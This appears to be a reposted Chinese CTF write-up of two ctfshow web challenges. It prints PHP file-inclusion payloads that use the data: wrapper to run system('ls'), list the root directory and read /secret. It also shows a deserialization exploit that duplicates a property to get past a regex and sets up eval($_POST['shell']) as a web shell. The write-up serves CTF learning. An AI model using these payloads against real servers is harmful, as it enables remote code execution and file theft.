首页 > Web开发 > 详细

ctfshow_吃鸡杯__web_两题

时间:2021-08-17 10:22:10      阅读:21      评论:0      收藏:0      [点我收藏+]
  • warmup

技术分享图片

 传入file,检查file后缀是不是php,是就包含

用data伪协议

file=data:text/plain,<?=system(%27ls%27);?>.php

技术分享图片

 

 发现system()被禁用

glob看下文件

file=data:text/plain,<?php print_r(glob(‘/*‘));?>.php

技术分享图片

 

 file=data:text/plain,<?php print_r(file(‘/secret‘));?>.php

技术分享图片

 

 

 

  • cjbweb
<?php
error_reporting(0);
$safe="Hack me!";

class Hacker{
    public $name="var_dump";
    public $msg="Happy to cjb";
    public function __wakeup()
    {
        global $safe;
        if(preg_match(/\d|\/|,|\([^()]*\([^()]*\)/,$this->msg)){
            $this->name="var_dump";
            $this->msg="You look dangerous!!!";
            $safe="I think waf is enough.";
        }
        call_user_func($this->name,$this->msg);
    }
    public function __destruct()
    {
        global $safe;
        var_dump($safe);
    }
}

if(isset($_POST[info])){
    $info=$_POST[info];
    if(preg_match(/s:4:"name";s:\d:"v\w*"/,$info)){
        unserialize($info);
    }else{
        echo "I just love v";
    }
}else{
    $hacker=new Hacker();
    highlight_file(__FILE__);
}
string(8) "Hack me!"

看上去是反序列化,还有两个正则表达式

最终是传入参数,执行这个

call_user_func($this->name,$this->msg);

尝试序列化

技术分享图片

 

 发现第二个,对name变量限定开头第一个字母是v

这里可以再加一个变量绕过,序列化结果变量数也要加1

O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:10:"phpinfo();";}

构造

info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST[‘shell‘]);";}

即可拿到shell

 

ctfshow_吃鸡杯__web_两题

原文:https://www.cnblogs.com/aninock/p/15150675.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!